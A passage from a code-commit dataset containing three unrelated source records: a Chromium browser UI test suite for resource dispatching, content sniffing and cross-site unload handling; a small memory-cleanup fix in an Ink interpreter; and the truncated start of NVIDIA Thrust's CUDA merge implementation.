server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n tab->NavigateToURL(\n server->TestServerPageW(L\"files\/sync_xmlhttprequest_during_unload.html\"));\n\n \/\/ Confirm that the page has loaded (since it changes its title during load).\n std::wstring tab_title;\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"sync xhr on unload\", tab_title);\n\n \/\/ Navigate to a new page, to dispatch unload event and trigger xhr.\n \/\/ (the bug would make this step hang the renderer).\n bool timed_out = false;\n tab->NavigateToURLWithTimeout(server->TestServerPageW(L\"files\/title2.html\"),\n action_max_timeout_ms(),\n &timed_out);\n EXPECT_FALSE(timed_out);\n\n \/\/ Check that the new page got loaded, and that no download was triggered.\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"Title Of Awesomeness\", tab_title);\n\n bool shelf_is_visible = false;\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser->IsShelfVisible(&shelf_is_visible));\n EXPECT_FALSE(shelf_is_visible);\n}\n\n\/\/ Tests that onunload is run for cross-site requests. (Bug 1114994)\nTEST_F(ResourceDispatcherTest, CrossSiteOnunloadCookie) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n GURL url(server->TestServerPageW(L\"files\/onunload_cookie.html\"));\n tab->NavigateToURL(url);\n\n \/\/ Confirm that the page has loaded (since it changes its title during load).\n std::wstring tab_title;\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"set cookie on unload\", tab_title);\n\n \/\/ Navigate to a new cross-site page, to dispatch unload event and set the\n \/\/ cookie.\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n\n \/\/ Check that the cookie was set.\n std::string value_result;\n ASSERT_TRUE(tab->GetCookieByName(url, \"onunloadCookie\", &value_result));\n ASSERT_FALSE(value_result.empty());\n ASSERT_STREQ(\"foo\", value_result.c_str());\n}\n\n#if !defined(OS_MAC)\n\/\/ Tests that the onbeforeunload and onunload logic is shortcutted if the old\n\/\/ renderer is gone. In that case, we don't want to wait for the old renderer\n\/\/ to run the handlers.\n\/\/ TODO(pinkerton): We need to disable this because the crash causes\n\/\/ the OS CrashReporter process to kick in to analyze the poor dead renderer.\n\/\/ Unfortunately, if the app isn't stripped of debug symbols, this takes about\n\/\/ five minutes to complete and isn't conducive to quick turnarounds. As we\n\/\/ don't currently strip the app on the build bots, this is bad times.\nTEST_F(ResourceDispatcherTest, CrossSiteAfterCrash) {\n \/\/ This test only works in multi-process mode\n if (in_process_renderer())\n return;\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n \/\/ Cause the renderer to crash.\n \/\/ TODO(albertb): We need to disable this on Linux since\n \/\/ crash_service.exe hasn't been ported yet.\n#if defined(OS_WIN)\n expected_crashes_ = 1;\n#endif\n tab->NavigateToURLAsync(GURL(\"about:crash\"));\n \/\/ Wait for browser to notice the renderer crash.\n PlatformThread::Sleep(sleep_timeout_ms());\n\n \/\/ Navigate to a new cross-site page. The browser should not wait around for\n \/\/ the old renderer's on{before}unload handlers to run.\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n}\n#endif\n\n\/\/ Tests that cross-site navigations work when the new page does not go through\n\/\/ the BufferedEventHandler (e.g., non-http{s} URLs). (Bug 1225872)\nTEST_F(ResourceDispatcherTest, CrossSiteNavigationNonBuffered) {\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n \/\/ Start with an HTTP page.\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n\n \/\/ Now load a file:\/\/ page, which does not use the BufferedEventHandler.\n \/\/ Make sure that the page loads and displays a title, and doesn't get stuck.\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title2.html\");\n bool timed_out = false;\n tab->NavigateToURLWithTimeout(net::FilePathToFileURL(test_file),\n action_max_timeout_ms(),\n &timed_out);\n EXPECT_FALSE(timed_out);\n EXPECT_EQ(L\"Title Of Awesomeness\", GetActiveTabTitle());\n}\n\n\/\/ Tests that a cross-site navigation to an error page (resulting in the link\n\/\/ doctor page) still runs the onunload handler and can support navigations\n\/\/ away from the link doctor page. (Bug 1235537)\nTEST_F(ResourceDispatcherTest, CrossSiteNavigationErrorPage) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n GURL url(server->TestServerPageW(L\"files\/onunload_cookie.html\"));\n tab->NavigateToURL(url);\n\n \/\/ Confirm that the page has loaded (since it changes its title during load).\n std::wstring tab_title;\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"set cookie on unload\", tab_title);\n\n \/\/ Navigate to a new cross-site URL that results in an error page. We must\n \/\/ wait for the error page to update the title.\n \/\/ TODO(creis): If this causes crashes or hangs, it might be for the same\n \/\/ reason as ErrorPageTest::DNSError. See bug 1199491.\n tab->NavigateToURL(GURL(URLRequestFailedDnsJob::kTestUrl));\n for (int i = 0; i < 10; ++i) {\n PlatformThread::Sleep(sleep_timeout_ms());\n if (GetActiveTabTitle() != L\"set cookie on unload\") {\n \/\/ Success, bail out.\n break;\n }\n }\n EXPECT_NE(L\"set cookie on unload\", GetActiveTabTitle());\n\n \/\/ Check that the cookie was set, meaning that the onunload handler ran.\n std::string value_result;\n EXPECT_TRUE(tab->GetCookieByName(url, \"onunloadCookie\", &value_result));\n EXPECT_FALSE(value_result.empty());\n EXPECT_STREQ(\"foo\", value_result.c_str());\n\n \/\/ Check that renderer-initiated navigations still work. In a previous bug,\n \/\/ the ResourceDispatcherHost would think that such navigations were\n \/\/ cross-site, because we didn't clean up from the previous request. Since\n \/\/ TabContents was in the NORMAL state, it would ignore the attempt to run\n \/\/ the onunload handler, and the navigation would fail.\n \/\/ (Test by redirecting to javascript:window.location='someURL'.)\n GURL test_url(server->TestServerPageW(L\"files\/title2.html\"));\n std::string redirect_url = \"javascript:window.location='\" +\n test_url.possibly_invalid_spec() + \"'\";\n tab->NavigateToURLAsync(GURL(redirect_url));\n \/\/ Wait for JavaScript redirect to happen.\n PlatformThread::Sleep(sleep_timeout_ms() * 3);\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"Title Of Awesomeness\", tab_title);\n}\n\n} \/\/ namespace\n<commit_msg>s\/OS_MAC\/OS_MACOSX\/<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <sstream>\n#include <string>\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/automation\/url_request_failed_dns_job.h\"\n#include \"chrome\/browser\/automation\/url_request_mock_http_job.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/url_request\/url_request_unittest.h\"\n\nnamespace {\n\nclass ResourceDispatcherTest : public UITest {\n public:\n void CheckTitleTest(const std::wstring& file,\n const std::wstring& expected_title) {\n NavigateToURL(URLRequestMockHTTPJob::GetMockUrl(file));\n const int kCheckDelayMs = 100;\n int max_wait_time = 5000;\n while (max_wait_time > 0) {\n max_wait_time -= kCheckDelayMs;\n PlatformThread::Sleep(kCheckDelayMs);\n if (expected_title == GetActiveTabTitle())\n break;\n }\n\n EXPECT_EQ(expected_title, GetActiveTabTitle());\n }\n\n protected:\n ResourceDispatcherTest() : UITest() {\n dom_automation_enabled_ = true;\n }\n};\n\nTEST_F(ResourceDispatcherTest, SniffHTMLWithNoContentType) {\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n}\n\nTEST_F(ResourceDispatcherTest, RespectNoSniffDirective) {\n CheckTitleTest(L\"nosniff-test.html\", L\"\");\n}\n\nTEST_F(ResourceDispatcherTest, DoNotSniffHTMLFromTextPlain) {\n CheckTitleTest(L\"content-sniffer-test1.html\", L\"\");\n}\n\nTEST_F(ResourceDispatcherTest, DoNotSniffHTMLFromImageGIF) {\n CheckTitleTest(L\"content-sniffer-test2.html\", L\"\");\n}\n\nTEST_F(ResourceDispatcherTest, SniffNoContentTypeNoData) {\n CheckTitleTest(L\"content-sniffer-test3.html\",\n L\"Content Sniffer Test 3\");\n PlatformThread::Sleep(sleep_timeout_ms() * 2);\n EXPECT_EQ(1, GetTabCount());\n\n \/\/ Make sure the download shelf is not showing.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n bool visible = false;\n ASSERT_TRUE(browser->IsShelfVisible(&visible));\n EXPECT_FALSE(visible);\n}\n\nTEST_F(ResourceDispatcherTest, ContentDispositionEmpty) {\n CheckTitleTest(L\"content-disposition-empty.html\", L\"success\");\n}\n\nTEST_F(ResourceDispatcherTest, ContentDispositionInline) {\n CheckTitleTest(L\"content-disposition-inline.html\", L\"success\");\n}\n\n\/\/ Test for bug #1091358.\nTEST_F(ResourceDispatcherTest, SyncXMLHttpRequest) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n tab->NavigateToURL(server->TestServerPageW(\n L\"files\/sync_xmlhttprequest.html\"));\n\n \/\/ Let's check the XMLHttpRequest ran successfully.\n bool success = false;\n EXPECT_TRUE(tab->ExecuteAndExtractBool(L\"\",\n L\"window.domAutomationController.send(DidSyncRequestSucceed());\",\n &success));\n EXPECT_TRUE(success);\n}\n\nTEST_F(ResourceDispatcherTest, SyncXMLHttpRequest_Disallowed) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n tab->NavigateToURL(server->TestServerPageW(\n L\"files\/sync_xmlhttprequest_disallowed.html\"));\n\n \/\/ Let's check the XMLHttpRequest ran successfully.\n bool success = false;\n EXPECT_TRUE(tab->ExecuteAndExtractBool(L\"\",\n L\"window.domAutomationController.send(DidSucceed());\",\n &success));\n EXPECT_TRUE(success);\n}\n\n\/\/ Test for bug #1159553 -- A synchronous xhr (whose content-type is\n\/\/ downloadable) would trigger download and hang the renderer process,\n\/\/ if executed while navigating to a new page.\nTEST_F(ResourceDispatcherTest, SyncXMLHttpRequest_DuringUnload) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n tab->NavigateToURL(\n server->TestServerPageW(L\"files\/sync_xmlhttprequest_during_unload.html\"));\n\n \/\/ Confirm that the page has loaded (since it changes its title during load).\n std::wstring tab_title;\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"sync xhr on unload\", tab_title);\n\n \/\/ Navigate to a new page, to dispatch unload event and trigger xhr.\n \/\/ (the bug would make this step hang the renderer).\n bool timed_out = false;\n tab->NavigateToURLWithTimeout(server->TestServerPageW(L\"files\/title2.html\"),\n action_max_timeout_ms(),\n &timed_out);\n EXPECT_FALSE(timed_out);\n\n \/\/ Check that the new page got loaded, and that no download was triggered.\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"Title Of Awesomeness\", tab_title);\n\n bool shelf_is_visible = false;\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser->IsShelfVisible(&shelf_is_visible));\n EXPECT_FALSE(shelf_is_visible);\n}\n\n\/\/ Tests that onunload is run for cross-site requests. (Bug 1114994)\nTEST_F(ResourceDispatcherTest, CrossSiteOnunloadCookie) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n GURL url(server->TestServerPageW(L\"files\/onunload_cookie.html\"));\n tab->NavigateToURL(url);\n\n \/\/ Confirm that the page has loaded (since it changes its title during load).\n std::wstring tab_title;\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"set cookie on unload\", tab_title);\n\n \/\/ Navigate to a new cross-site page, to dispatch unload event and set the\n \/\/ cookie.\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n\n \/\/ Check that the cookie was set.\n std::string value_result;\n ASSERT_TRUE(tab->GetCookieByName(url, \"onunloadCookie\", &value_result));\n ASSERT_FALSE(value_result.empty());\n ASSERT_STREQ(\"foo\", value_result.c_str());\n}\n\n#if !defined(OS_MACOSX)\n\/\/ Tests that the onbeforeunload and onunload logic is shortcutted if the old\n\/\/ renderer is gone. In that case, we don't want to wait for the old renderer\n\/\/ to run the handlers.\n\/\/ TODO(pinkerton): We need to disable this because the crash causes\n\/\/ the OS CrashReporter process to kick in to analyze the poor dead renderer.\n\/\/ Unfortunately, if the app isn't stripped of debug symbols, this takes about\n\/\/ five minutes to complete and isn't conducive to quick turnarounds. As we\n\/\/ don't currently strip the app on the build bots, this is bad times.\nTEST_F(ResourceDispatcherTest, CrossSiteAfterCrash) {\n \/\/ This test only works in multi-process mode\n if (in_process_renderer())\n return;\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n \/\/ Cause the renderer to crash.\n \/\/ TODO(albertb): We need to disable this on Linux since\n \/\/ crash_service.exe hasn't been ported yet.\n#if defined(OS_WIN)\n expected_crashes_ = 1;\n#endif\n tab->NavigateToURLAsync(GURL(\"about:crash\"));\n \/\/ Wait for browser to notice the renderer crash.\n PlatformThread::Sleep(sleep_timeout_ms());\n\n \/\/ Navigate to a new cross-site page. The browser should not wait around for\n \/\/ the old renderer's on{before}unload handlers to run.\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n}\n#endif \/\/ !defined(OS_MACOSX)\n\n\/\/ Tests that cross-site navigations work when the new page does not go through\n\/\/ the BufferedEventHandler (e.g., non-http{s} URLs). (Bug 1225872)\nTEST_F(ResourceDispatcherTest, CrossSiteNavigationNonBuffered) {\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n \/\/ Start with an HTTP page.\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n\n \/\/ Now load a file:\/\/ page, which does not use the BufferedEventHandler.\n \/\/ Make sure that the page loads and displays a title, and doesn't get stuck.\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"title2.html\");\n bool timed_out = false;\n tab->NavigateToURLWithTimeout(net::FilePathToFileURL(test_file),\n action_max_timeout_ms(),\n &timed_out);\n EXPECT_FALSE(timed_out);\n EXPECT_EQ(L\"Title Of Awesomeness\", GetActiveTabTitle());\n}\n\n\/\/ Tests that a cross-site navigation to an error page (resulting in the link\n\/\/ doctor page) still runs the onunload handler and can support navigations\n\/\/ away from the link doctor page. (Bug 1235537)\nTEST_F(ResourceDispatcherTest, CrossSiteNavigationErrorPage) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n\n GURL url(server->TestServerPageW(L\"files\/onunload_cookie.html\"));\n tab->NavigateToURL(url);\n\n \/\/ Confirm that the page has loaded (since it changes its title during load).\n std::wstring tab_title;\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"set cookie on unload\", tab_title);\n\n \/\/ Navigate to a new cross-site URL that results in an error page. We must\n \/\/ wait for the error page to update the title.\n \/\/ TODO(creis): If this causes crashes or hangs, it might be for the same\n \/\/ reason as ErrorPageTest::DNSError. See bug 1199491.\n tab->NavigateToURL(GURL(URLRequestFailedDnsJob::kTestUrl));\n for (int i = 0; i < 10; ++i) {\n PlatformThread::Sleep(sleep_timeout_ms());\n if (GetActiveTabTitle() != L\"set cookie on unload\") {\n \/\/ Success, bail out.\n break;\n }\n }\n EXPECT_NE(L\"set cookie on unload\", GetActiveTabTitle());\n\n \/\/ Check that the cookie was set, meaning that the onunload handler ran.\n std::string value_result;\n EXPECT_TRUE(tab->GetCookieByName(url, \"onunloadCookie\", &value_result));\n EXPECT_FALSE(value_result.empty());\n EXPECT_STREQ(\"foo\", value_result.c_str());\n\n \/\/ Check that renderer-initiated navigations still work. In a previous bug,\n \/\/ the ResourceDispatcherHost would think that such navigations were\n \/\/ cross-site, because we didn't clean up from the previous request. Since\n \/\/ TabContents was in the NORMAL state, it would ignore the attempt to run\n \/\/ the onunload handler, and the navigation would fail.\n \/\/ (Test by redirecting to javascript:window.location='someURL'.)\n GURL test_url(server->TestServerPageW(L\"files\/title2.html\"));\n std::string redirect_url = \"javascript:window.location='\" +\n test_url.possibly_invalid_spec() + \"'\";\n tab->NavigateToURLAsync(GURL(redirect_url));\n \/\/ Wait for JavaScript redirect to happen.\n PlatformThread::Sleep(sleep_timeout_ms() * 3);\n EXPECT_TRUE(tab->GetTabTitle(&tab_title));\n EXPECT_EQ(L\"Title Of Awesomeness\", tab_title);\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include \"general.h\"\n#include \"object.h\"\n#include \"expression.h\"\n#include \"..\/includes\/switches.h\"\nusing namespace std;\n\nstatic vector<string *> string_pool;\nInk_ExpressionList native_exp_list = Ink_ExpressionList();\nchar *tmp_prog_path = NULL;\n\nstring *StrPool_addStr(const char *str)\n{\n\tstring *tmp;\n\tstring_pool.push_back(tmp = new string(str ? str : \"\"));\n\treturn tmp;\n}\n\nstring *StrPool_addStr(string *str)\n{\n\tstring_pool.push_back(str);\n\treturn str;\n}\n\nvoid StrPool_dispose()\n{\n\tunsigned int i;\n\tfor (i = 0; i < string_pool.size(); i++) {\n\t\tdelete string_pool[i];\n\t}\n\tstring_pool = vector<string *>();\n\treturn;\n}\n\nvoid cleanAll()\n{\n\tunsigned int i;\n\tconst char *tmp;\n\tfor (i = 0; i < native_exp_list.size(); i++) {\n\t\tdelete native_exp_list[i];\n\t}\n\n\t\/\/ remove(INK_TMP_PATH);\n\tStrPool_dispose();\n\n\tif (isDirExist(tmp = string(INK_TMP_PATH).c_str()))\n\t\tremoveDir(tmp);\n\tif (tmp_prog_path)\n\t\tfree(tmp_prog_path);\n}\n\nInk_Argument::~Ink_Argument()\n{\n\tif (arg)\n\t\tdelete arg;\n\tif (is_expand)\n\t\tdelete expandee;\n}<commit_msg>080116#06: fix a tiny problem in memcpy overlap<commit_after>#include <vector>\n#include \"general.h\"\n#include \"object.h\"\n#include \"expression.h\"\n#include \"..\/includes\/switches.h\"\nusing namespace std;\n\nstatic vector<string *> string_pool;\nInk_ExpressionList native_exp_list = Ink_ExpressionList();\nchar *tmp_prog_path = NULL;\n\nstring *StrPool_addStr(const char *str)\n{\n\tstring *tmp;\n\tstring_pool.push_back(tmp = new string(str ? str : \"\"));\n\treturn tmp;\n}\n\nstring *StrPool_addStr(string *str)\n{\n\tstring_pool.push_back(str);\n\treturn str;\n}\n\nvoid StrPool_dispose()\n{\n\tunsigned int i;\n\tfor (i = 0; i < string_pool.size(); i++) {\n\t\tdelete string_pool[i];\n\t}\n\tstring_pool = vector<string *>();\n\treturn;\n}\n\nvoid cleanAll()\n{\n\tunsigned int i;\n\tfor (i = 0; i < native_exp_list.size(); i++) {\n\t\tdelete native_exp_list[i];\n\t}\n\n\t\/\/ remove(INK_TMP_PATH);\n\tStrPool_dispose();\n\n\tif (isDirExist(string(INK_TMP_PATH).c_str()))\n\t\tremoveDir(string(INK_TMP_PATH).c_str());\n\tif (tmp_prog_path)\n\t\tfree(tmp_prog_path);\n}\n\nInk_Argument::~Ink_Argument()\n{\n\tif (arg)\n\t\tdelete arg;\n\tif (is_expand)\n\t\tdelete expandee;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2008-2013 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <thrust\/detail\/config.h>\n#include <thrust\/merge.h>\n#include <thrust\/detail\/seq.h>\n#include <thrust\/system\/cuda\/detail\/merge.h>\n#include <thrust\/system\/cuda\/detail\/bulk.h>\n#include <thrust\/detail\/temporary_array.h>\n#include <thrust\/tabulate.h>\n#include <thrust\/iterator\/detail\/join_iterator.h>\n#include <thrust\/detail\/minmax.h>\n#include <thrust\/system\/cuda\/detail\/execute_on_stream.h>\n\nnamespace thrust\n{\nnamespace system\n{\nnamespace cuda\n{\nnamespace detail\n{\nnamespace merge_detail\n{\n\n\ntemplate<std::size_t groupsize, std::size_t grainsize, typename RandomAccessIterator1, typename Size,typename RandomAccessIterator2, typename RandomAccessIterator3, typename RandomAccessIterator4, typename Compare>\n__device__\nRandomAccessIterator4\n staged_merge(bulk_::concurrent_group<bulk_::agent<grainsize>,groupsize> &exec,\n RandomAccessIterator1 first1, Size n1,\n RandomAccessIterator2 first2, Size n2,\n RandomAccessIterator3 stage,\n RandomAccessIterator4 result,\n Compare comp)\n{\n \/\/ copy into the stage\n bulk_::copy_n(bulk_::bound<groupsize * grainsize>(exec),\n thrust::detail::make_join_iterator(first1, n1, first2),\n n1 + n2,\n stage);\n\n \/\/ inplace merge in the stage\n bulk_::inplace_merge(bulk_::bound<groupsize * grainsize>(exec),\n stage, stage + n1, stage + n1 + n2,\n comp);\n \n \/\/ copy to the result\n \/\/ XXX this might be slightly faster with a bounded copy_n\n return bulk_::copy_n(exec, stage, n1 + n2, result);\n} \/\/ end staged_merge()\n\n\nstruct merge_kernel\n{\n template<std::size_t groupsize, std::size_t grainsize, typename RandomAccessIterator1, typename Size, typename RandomAccessIterator2, typename RandomAccessIterator3, typename RandomAccessIterator4, typename Compare>\n __device__\n void operator()(bulk_::concurrent_group<bulk_::agent<grainsize>,groupsize> &g,\n RandomAccessIterator1 first1, Size n1,\n RandomAccessIterator2 first2, Size n2,\n RandomAccessIterator3 merge_paths_first,\n RandomAccessIterator4 result,\n Compare comp)\n {\n typedef int size_type;\n\n size_type elements_per_group = g.size() * g.this_exec.grainsize();\n\n \/\/ determine the ranges to merge\n size_type mp0 = merge_paths_first[g.index()];\n size_type mp1 = merge_paths_first[g.index()+1];\n size_type diag = elements_per_group * g.index();\n\n size_type local_size1 = mp1 - mp0;\n size_type local_size2 = thrust::min<size_type>(n1 + n2, diag + elements_per_group) - mp1 - diag + mp0;\n\n first1 += mp0;\n first2 += diag - mp0;\n result += elements_per_group * g.index();\n\n \/\/ XXX this assumes that RandomAccessIterator2's value_type converts to RandomAccessIterator1's value_type\n typedef typename thrust::iterator_value<RandomAccessIterator1>::type value_type;\n\n#if __CUDA_ARCH__ >= 200\n \/\/ merge through a stage\n value_type *stage = reinterpret_cast<value_type*>(bulk_::malloc(g, elements_per_group * sizeof(value_type)));\n\n if(bulk_::is_on_chip(stage))\n {\n staged_merge(g,\n first1, local_size1,\n first2, local_size2,\n bulk_::on_chip_cast(stage),\n result,\n comp);\n } \/\/ end if\n else\n {\n staged_merge(g,\n first1, local_size1,\n first2, local_size2,\n stage,\n result,\n comp);\n } \/\/ end else\n\n bulk_::free(g, stage);\n#else\n __shared__ bulk_::uninitialized_array<value_type, groupsize * grainsize> stage;\n staged_merge(g, first1, local_size1, first2, local_size2, stage.data(), result, comp);\n#endif\n } \/\/ end operator()\n}; \/\/ end merge_kernel\n\n\ntemplate<typename Size, typename RandomAccessIterator1,typename RandomAccessIterator2, typename Compare>\nstruct locate_merge_path\n{\n Size partition_size;\n RandomAccessIterator1 first1, last1;\n RandomAccessIterator2 first2, last2;\n Compare comp;\n\n __host__ __device__\n locate_merge_path(Size partition_size, RandomAccessIterator1 first1, RandomAccessIterator1 last1, RandomAccessIterator2 first2, RandomAccessIterator2 last2, Compare comp)\n : partition_size(partition_size),\n first1(first1), last1(last1),\n first2(first2), last2(last2),\n comp(comp)\n {}\n\n template<typename Index>\n __device__\n Size operator()(Index i)\n {\n Size n1 = last1 - first1;\n Size n2 = last2 - first2;\n Size diag = thrust::min<Size>(partition_size * i, n1 + n2);\n return bulk_::merge_path(first1, n1, first2, n2, diag, comp);\n }\n};\n\n\ntemplate<typename DerivedPolicy,\n typename RandomAccessIterator1,\n typename RandomAccessIterator2, \n\t typename RandomAccessIterator3,\n typename Compare>\n__host__ __device__\nRandomAccessIterator3 merge(execution_policy<DerivedPolicy> &exec,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator1>::type value_type;\n typedef typename thrust::iterator_difference<RandomAccessIterator1>::type difference_type;\n typedef int size_type;\n\n \/\/ determined through empirical testing on K20c\n const size_type groupsize = (sizeof(value_type) == sizeof(int)) ? 256 : 256 + 32;\n const size_type grainsize = (sizeof(value_type) == sizeof(int)) ? 9 : 5;\n \n const size_type tile_size = groupsize * grainsize;\n\n difference_type n = (last1 - first1) + (last2 - first2);\n difference_type num_groups = (n + tile_size - 1) \/ tile_size;\n\n thrust::detail::temporary_array<size_type,DerivedPolicy> merge_paths(exec, num_groups + 1);\n\n thrust::tabulate(exec, merge_paths.begin(), merge_paths.end(), merge_detail::locate_merge_path<size_type,RandomAccessIterator1,RandomAccessIterator2,Compare>(tile_size,first1,last1,first2,last2,comp));\n\n \/\/ merge partitions\n size_type heap_size = tile_size * sizeof(value_type);\n bulk_::concurrent_group<bulk_::agent<grainsize>,groupsize> g(heap_size);\n bulk_::async(bulk_::par(stream(thrust::detail::derived_cast(exec)), g, num_groups), merge_detail::merge_kernel(), bulk_::root.this_exec, first1, last1 - first1, first2, last2 - first2, merge_paths.begin(), result, comp);\n\n return result + n;\n} \/\/ end merge()\n\n\n} \/\/ end merge_detail\n\n\ntemplate<typename DerivedPolicy,\n typename RandomAccessIterator1,\n typename RandomAccessIterator2, \n\t typename RandomAccessIterator3,\n typename Compare>\n__host__ __device__\nRandomAccessIterator3 merge(execution_policy<DerivedPolicy> &exec,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n{\n \/\/ we're attempting to launch a kernel, assert we're compiling with nvcc\n \/\/ ========================================================================\n \/\/ X Note to the user: If you've found this line due to a compiler error, X\n \/\/ X you need to compile your code using nvcc, rather than g++ or cl.exe X\n \/\/ ========================================================================\n THRUST_STATIC_ASSERT( (thrust::detail::depend_on_instantiation<RandomAccessIterator1, THRUST_DEVICE_COMPILER == THRUST_DEVICE_COMPILER_NVCC>::value) );\n\n struct 